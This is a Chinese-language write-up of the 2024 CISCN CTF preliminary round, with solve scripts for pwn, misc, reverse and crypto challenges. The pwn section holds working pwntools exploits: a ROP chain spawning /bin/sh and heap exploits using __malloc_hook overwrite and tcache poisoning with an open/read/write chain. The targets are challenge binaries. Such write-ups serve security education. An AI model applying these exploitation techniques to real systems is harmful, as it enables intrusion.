题目链接:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/CISCN%E5%88%9D%E8%B5%9B

PWN

gostack

其实func2就是后门,输入很长的内容会提示unexpected return,根据返回地址判断填充长度为0x1d0,但是填充内容只能是\x00,所以本题可以填充后直接返回到func2,比赛的时候想到的是rop链,但是直接写入很长的rop链内容会被改变,所以需要一次读到bss段再迁移到bss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('8.147.133.9', 15152)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

syscall = 0x0000000000404043
pop_rdi_r14_r13_r12_rbp_rbx_ret = 0x00000000004a18a5
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
pop_rax_ret = 0x000000000040f984
leave_ret = 0x00000000004A0BCF
bss = 0x579600
pop_rbp_ret = 0x4023ed

p1 = b'\x00' * 0x1d0
p1 += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(0) * 6
p1 += p64(pop_rsi_ret) + p64(bss)
p1 += p64(pop_rdx_ret) + p64(0x100)
p1 += p64(pop_rbp_ret) + p64(bss)
p1 += p64(pop_rax_ret) + p64(0)
p1 += p64(syscall) + p64(leave_ret)
r.sendlineafter(b'message', p1)

p2 = b'/bin/sh\x00'
p2 += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(bss) + p64(0) * 5
p2 += p64(pop_rsi_ret) + p64(0)
p2 += p64(pop_rdx_ret) + p64(0)
p2 += p64(pop_rax_ret) + p64(59)
p2 += p64(syscall)
r.sendline(p2)

r.interactive()

orange_cat_diary

堆溢出改掉top chunk size,申请的堆块大小大于top chunktop chunk就会被链入unsorted bin并且重新映射新的top chunk,继续申请小的堆块就能切割被链入unsorted bin的前top chunk得到libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('8.147.133.76', 30239)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(length, content):
r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'length', str(length))
r.sendafter(b'content', content)

def show():
r.sendlineafter(b'choice', b'2')

def delete():
r.sendlineafter(b'choice', b'3')

def edit(length, content):
r.sendlineafter(b'choice', b'4')
r.sendlineafter(b'length', str(length))
r.sendafter(b'content', content)

def name(name):
r.sendafter(b'name.', name)

libc = ELF('./2.23/libc-2.23.so')

r.sendafter(b'name.', b'a')

add(0x68, b'a')
edit(0x70, b'a' * 0x68 + p64(0xf91))

add(0x1000, b'a')
add(0x18, b'a' * 0x8)

show()
r.recvuntil(b'a' * 0x8)
libc_base = u64(r.recvuntil(b'\x00')[:-1][-6:].ljust(8, b'\x00')) - 0x3c5188
ogg = libc_base + 0xf03a4
malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0x68, b'a')
delete()

edit(0x10, p64(malloc_hook - 0x23))
add(0x68, b'a')
add(0x68, b'a' * 0x13 + p64(ogg))

r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'length', str(0x10))

r.interactive()

EzHeap

2.35开了沙箱的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *

context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('8.147.132.179', 37299)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(size, content):
r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'size', str(size))
r.sendafter(b'content', content)

def edit(index, size, content):
r.sendlineafter(b'choice', b'3')
r.sendlineafter(b'idx', str(index))
r.sendlineafter(b'size', str(size)))
r.sendafter(b'content', content)

def show(index):
r.sendlineafter(b'choice', b'4')
r.sendlineafter(b'idx', str(index))

def delete(index):
r.sendlineafter(b'choice', b'2')
r.sendlineafter(b'idx', str(index))

add(0x1f8, b'a')
add(0x4f0, b'a')
add(0x1f8, b'a')
delete(1)
edit(0, 0x200, b'a' * 0x200)

show(0)
r.recvuntil('a'*0x200)
libc_base = u64(r.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
libc = ELF('./libc.so.6')

edit(0, 0x240, b'a' * 0x1f8 + p64(0x501))
add(0x4f0, b'a')
edit(0, 0x340, b'a' * 0x1f8 + p64(0x101) + b'\x00' * 0xf8 + p64(0x401))
delete(1)
edit(0, 0x200, b'a' * 0x200)

show(0)
r.recvuntil(b'a' * 0x200)
heap_base = u64(r.recv(5)[-6:].ljust(8, b'\x00')) << 12

add(0xf0, b'a')
edit(0, 0x240, b'a' * 0x1f8 + p64(0x21) + p64(0) + b'\x00' * 0x10 + p64(0x4e1))
add(0x10, b'a')
delete(1)
edit(0, 0x240, b'a' * 0x1f8 + p64(0x21) + p64((heap_base >> 12) ^ (libc.sym['environ'] - 0x10)) + b'\x00' * 0x10 + p64(0x4e1))
add(0x10, b'a')
add(0x10, b'a' * 0x10)

show(4)
stack_addr = u64(r.recvuntil(b'\x7f')[-6:] + b'\x00\x00') - (0x758 - 0x5f0)

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret_r12 = libc_base + 0x000000000011f497
syscall_ret = libc_base + 0x0000000000091396

pay = b'./flag\x00\x00'
pay += p64(pop_rdi_ret) + p64(stack_addr - 0x10)
pay += p64(pop_rsi_ret) + p64(0)
pay += p64(pop_rax_ret) + p64(2)
pay += p64(syscall_ret)
pay += p64(pop_rax_ret) + p64(0)
pay += p64(pop_rdi_ret) + p64(3)
pay += p64(pop_rdx_ret) + p64(0x30) * 2
pay += p64(pop_rsi_ret) + p64(stack_addr - 0x300)
pay += p64(syscall_ret)
pay += p64(pop_rax_ret) + p64(1)
pay += p64(pop_rdi_ret) + p64(1)
pay += p64(pop_rsi_ret) + p64(stack_addr - 0x300)
pay += p64(syscall_ret)

edit(0, 0x440, b'a' * 0x1f8 + p64(0x201) + p64(0) + b'\x00' * 0x1f0 + p64(0x301))

delete(2)
delete(1)

edit(0, 0x440, b'a' * 0x1f8 + p64(0x201) + p64((heap_base >> 12) ^ (stack_addr - 0x10)) + b'\x00' * 0x1f0 + p64(0x301))

add(0x1f0, b'a')
add(0x1f0, pay)

r.interactive()

MISC

火锅链观光打卡

绑定钱包答题

Power Trajectory Diagram

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import numpy as np

data = np.load('attachment.npz')
power_data, power_input, power_index = data['trace'], data['input'], data['index']

inputs = list("abcdefghijklmnopqrstuvwxyz0123456789_!@#")

def variance(trace, group):
diffs = (trace - np.array([t for t in group if not np.array_equal(t, trace)])) ** 2
return np.mean(diffs) if diffs.size else 0

def select_indexes(power_data, traces_per_group):
selected_indexes = []
for i in range(0, len(power_data), traces_per_group):
group = power_data[i:i + traces_per_group]
max_variance = 0
selected_trace_index = i

for j, trace in enumerate(group):
current_variance = variance(trace, group)
if current_variance > max_variance:
max_variance, selected_trace_index = current_variance, i + j

selected_indexes.append(selected_trace_index % len(inputs))
return selected_indexes

selected_indexes = select_indexes(power_data, 40)

print("flag{" + "".join(inputs[index] for index in selected_indexes) + "}", end="")

神秘文件

1
2
3
这里原来似乎有什么,后来好像被小Caesar抱走了!
mQPinNS6Xtm1JGJs
//rot13+base64:part2:675efb
1
2
UGFSdDQ6NmYtNDA=
//Payt4:6f-40
1
2
3
4
5
6
7
8
9
Wow
ZYWJbIYnFhq9
What is this?
Vigenere cipher is good!
Aha,the key is
Is what?
furry
🆗
//维吉尼亚+base64:PARt10:9}
1
2
3
QFCfpPQ6ZymuM3gq
key lanjing
//Bifid+basae64:Part1:flag{e
1
2
3
4
c1GFSbd3Dg6BODbdl
去掉’B ’/’b’ /’1 ’/’3’
cGFSdDg6ODdl
//base64:paRt8:87e
1
2
HRSFIQp9ZwWvZj==
//rot13+base64:PART7=22b3
1
2
Vm1wR1UxRXhXWGhUV0d4WFlrZG9WMWxVUm1GWFJscHlWMjVrVmxKc2NIaFZiVFZQVkd4S2MxSnFVbGRXTTFKUVdWVmtVMDVyTVVWaGVqQTk=
//base64:pArt5:5f-90d
1
2
PPT:UGFyVDY6ZC0y
//base64:ParT6:d-2
1
2
图片:cGFyVDk6ZGVl
//base64:parT9:dee
1
2
i13POMdzEAzHfy4dGS+vUA==(After base64)
//base64+rc4:PArt3:3-34

REVERSE

asm_re

使用chatgpt4反编译arm汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <string.h>

int main() {
char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
char processedFlag[100] = {0}; // Allocate space for processed string.
char expectedArray[100] = { /* Fill with expected values from __const segment */ };

```
// Copy some data into processedFlag.
memcpy(processedFlag, unknownData, 0x98); // unknownData corresponds to the data in __const.

// Iterate over the flag string, process each character.
for (int i = 0; i < strlen(flag); i++) {
int charValue = flag[i];
charValue = (charValue * 80 + 20) ^ 77 + 30;
processedFlag[i] = charValue;
}

// Add null terminator to the end of the processed array.
processedFlag[strlen(flag)] = '\\0';

// Compare processed array with expected array.
int matches = 1; // Assume they match initially.
for (int i = 0; i < strlen(flag); i++) {
if (processedFlag[i] != expectedArray[i]) {
matches = 0;
break;
}
}

// Print result based on the comparison.
if (matches) {
printf("The result array matches the expected array.\\n");
} else {
printf("The result array does not match the expected array.\\n");
}

return 0;

```

}

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a= [0x1fd7,0x21b7,0x1e47,0x2027,
0x26e7,0x10d7,0x1127,0x2007,
0x11c7,0x1e47,0x1017,0x1017,
0x11f7,0x2007,0x1037,0x1107,0x1f17,

0x10d7,0x1017,0x1017,0x1f67,

0x1017,0x11c7,0x11c7,0x1017,

0x1fd7,0x1f17,0x1107,0xf47,

0x1127,0x1037,0x1e47,0x1037,

0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
flag = ""
for i in a:
flag+=(chr((((i-30)^77)-20)//80))
print(flag)

androidso_re

使用jebinspect中找到JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==

IDA中得到Cipher cipher0 = Cipher.getInstance("DES/CBC/PKCS5Padding");![Untitled (2)](Untitled (2).png)

key:A8UdWaeq iv:Wf3DLups

通过base64DES解码得到flag

gdb_debug

逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
void *v5; // rsp
size_t v6; // rax
size_t v7; // rax
size_t v8; // rax
size_t v9; // rax
void *v10; // rsp
size_t len_of_input_1; // rax
char v12; // bl
size_t v13; // rax
size_t v14; // rax
void *v15; // rsp
size_t len_encode1_1; // rax
__int64 list[10]; // [rsp+0h] [rbp-130h] BYREF
unsigned __int8 v18; // [rsp+55h] [rbp-DBh]
char v19; // [rsp+56h] [rbp-DAh]
char encode1_0_1_rand; // [rsp+57h] [rbp-D9h]
unsigned __int64 ii; // [rsp+58h] [rbp-D8h]
unsigned __int64 n; // [rsp+60h] [rbp-D0h]
unsigned __int64 m; // [rsp+68h] [rbp-C8h]
size_t k; // [rsp+70h] [rbp-C0h]
unsigned __int64 j; // [rsp+78h] [rbp-B8h]
unsigned __int64 i; // [rsp+80h] [rbp-B0h]
size_t len_of_input; // [rsp+88h] [rbp-A8h]
__int64 *table; // [rsp+90h] [rbp-A0h]
void *ptr; // [rsp+98h] [rbp-98h]
size_t v30; // [rsp+A0h] [rbp-90h]
__int64 *encode1_0; // [rsp+A8h] [rbp-88h]
char *encode1_1; // [rsp+B0h] [rbp-80h]
char *encode; // [rsp+B8h] [rbp-78h]
size_t v34; // [rsp+C0h] [rbp-70h]
char *encode1; // [rsp+C8h] [rbp-68h]
char INPUT[40]; // [rsp+D0h] [rbp-60h] BYREF
unsigned __int64 v37; // [rsp+F8h] [rbp-38h]

v37 = __readfsqword(0x28u);
v3 = time(0LL);
srand(v3 & 0xF0000000);
puts("Please enter the flag string (ensuring the format is 'flag{}' and the total length is 38 characters).");
__isoc99_scanf("%39s", INPUT);
if ( strlen(INPUT) == '&'
&& INPUT[0] == 'f'
&& INPUT[1] == 'l'
&& INPUT[2] == 'a'
&& INPUT[3] == 'g'
&& INPUT[4] == '{'
&& INPUT[37] == '}' )
{
len_of_input = strlen(INPUT);
list[8] = len_of_input + 1;
list[9] = 0LL;
list[6] = len_of_input + 1;
list[7] = 0LL;
v5 = alloca(16 * ((len_of_input + 16) / 0x10));
table = list;
for ( i = 0LL; ; ++i )
{
v6 = strlen(INPUT);
if ( i >= v6 )
break;
encode1_0_1_rand = rand();
*((_BYTE *)table + i) = INPUT[i] ^ encode1_0_1_rand;
}
v7 = strlen(INPUT);
ptr = malloc(v7);
if ( ptr )
{
for ( j = 0LL; ; ++j )
{
v8 = strlen(INPUT);
if ( j >= v8 )
break;
*((_BYTE *)ptr + j) = j;
}

for ( k = strlen(INPUT) - 1; k; --k )
{
v18 = rand() % (k + 1);
v19 = *((_BYTE *)ptr + k);
*((_BYTE *)ptr + k) = *((_BYTE *)ptr + v18);
*((_BYTE *)ptr + v18) = v19;
}

v9 = strlen(INPUT) + 1;
v30 = v9 - 1;
list[4] = v9;
list[5] = 0LL;
list[2] = v9;
list[3] = 0LL;
v10 = alloca(16 * ((v9 + 15) / 0x10));
encode1_0 = list;


for ( m = 0LL; ; ++m )
{
len_of_input_1 = strlen(INPUT);
if ( m >= len_of_input_1 )
break;
*((_BYTE *)encode1_0 + m) = *((_BYTE *)table + *((unsigned __int8 *)ptr + m));
}


for ( n = 0LL; ; ++n )
{
v13 = strlen(INPUT);
if ( n >= v13 )
break;
v12 = *((_BYTE *)encode1_0 + n);
*((_BYTE *)encode1_0 + n) = rand() ^ v12;
}

putchar(10);
encode1_1 = byte_10A0;
encode = "congratulationstoyoucongratulationstoy";
v14 = strlen(byte_10A0) + 1;
v34 = v14 - 1;
list[0] = v14;
list[1] = 0LL;
v15 = alloca(16 * ((v14 + 15) / 0x10));
encode1 = (char *)list;


for ( ii = 0LL; ; ++ii )
{
len_encode1_1 = strlen(encode1_1);
if ( ii >= len_encode1_1 )
break;
encode1[ii] = *((_BYTE *)encode1_0 + ii) ^ encode1_1[ii];
}


if ( !strcmp(encode1, encode) )
puts("Correct.");
else
puts("Error. ");
free(ptr);
return 0LL;
}
else
{
fwrite("Memory allocation failed.\n", 1uLL, 0x1AuLL, stderr);
return 1LL;
}
}
else
{
puts("The input format is incorrect or the length does not meet the requirements.");
return 1LL;
}
}

下断点拿数据v12rand,ptr,encode1_0_1_rand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
encode1_0_1=[]
encode1_1=[0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73,
0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE,
0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2,
0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
encode1_0='congratulationstoyoucongratulationstoy'
for i in range(len(encode1_0)):
encode1_0_1.append(ord(encode1_0[i])^encode1_1[i])
#动调拿v12rand,ptr,encode1_0_1_rand
v12rand=[0xDE,0xAA,0x42,0xFc,0x09,0xE8,0xB2,0x06,
0x0D,0x93,0x61,0xF4,0x24,0x49,0x15,
0x01,0xD7,0xAB,0x04,0x18,0xCF,0xE9,0xD5,0x96,0x33,0xCA,
0xF9,0x2A,0x5E,0xEA,0x2D,0x3c,0x94,0x6F,0x38,0x9D,0x58,0xEA]
for i in range(len(encode1_0_1)):
encode1_0_1[i]^=v12rand[i]

table=[0]*38
ptr=[ 0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 0x10, 0x22,
0x06, 0x17, 0x16, 0x08, 0x19, 0x13, 0x04, 0x0F, 0x02, 0x0D,
0x25, 0x0C, 0x03, 0x15, 0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09,
0x1D, 0x23, 0x1F, 0x20, 0x24, 0x0A, 0x00, 0x21]
for i in range(len(encode1_0_1)):
table[ptr[i]]=encode1_0_1[i]

encode1_0_1_rand=[0xD9,0x0f,0x18,0xBD,0xC7,0x16,0x81,0xBE,0xF8,0x4A,0x65,0xF2,0x5D,
0xAB,0x2B,0x33,0xD4,0xA5,0x67,0x98,0x9F,0x7E,0x2B,0x5D,0xC2,0xAF,0x8E,
0x3A,0x4C,0xA5,0x75,0x25,0xB4,0x8D,0xE3,0x7B,0xA3,0x64]
for i in range(len(table)):
print(chr(encode1_0_1_rand[i]^table[i]),end="")

whereThel1b

因为可以运行,所以通过print和其他指令辅助推理了一下,然后.soida继续分析

推测出单字节简单加密

上面还有疑似base相关的代码

计算输入长度的字符串,python增加输出res的代码得到异或后的值

计算base64res,得到异或的key

说实话在知道是单字节加密的情况下并且没有变表操作,直接爆破也可以

exp思路如下 导入库后写爆破脚本一个一个爆就行 密文已经有了。一顿操作之后也可以拿到flag,当然.so进去直接拿也可以

编写脚本得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
flag ="MDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZ"
flag = flag.encode()
code = [123, 92, 117, 65, 87, 120, 65, 17, 81, 115, 81, 1, 92, 74, 121, 18, 93, 100, 56, 57, 88, 0, 68, 101, 98, 123, 108, 104, 97, 115, 83, 91, 85, 107, 104, 125, 120, 37, 102, 109, 82, 125, 34, 69, 114, 126, 71, 119, 72, 90, 97, 118, 70, 50, 91, 121]
data = []
for i in range(56):
data.append(flag[i]^ code[i])
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
flag =""
for i in range(56):
flag +=chr(encry[i]^ data[i])

print(base64.b64decode(flag))

CRYPTO

古典密码

AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

先解Atbash,再base64,最后栅栏得到flag

OVO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

k=e//n-2
tmp=65537+(k+2)*n+(k+2)+1
R.<x>=PolynomialRing(RealField(1024))
f=e*x-(2*(k+1)*x^2+(k+2)*n+tmp*x)
res=f.roots()
for root in res:
p_high=int(root[0])
RP.<x>=PolynomialRing(Zmod(n))
f1=x+p_high
roots=f1.monic().small_roots(X=2^200,beta=0.4)
if roots:
p=int(roots[0]+p_high)
q=n//p
e=65537+k*p+(k+2)*((p+1)*(q+1))+1
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(int(m)))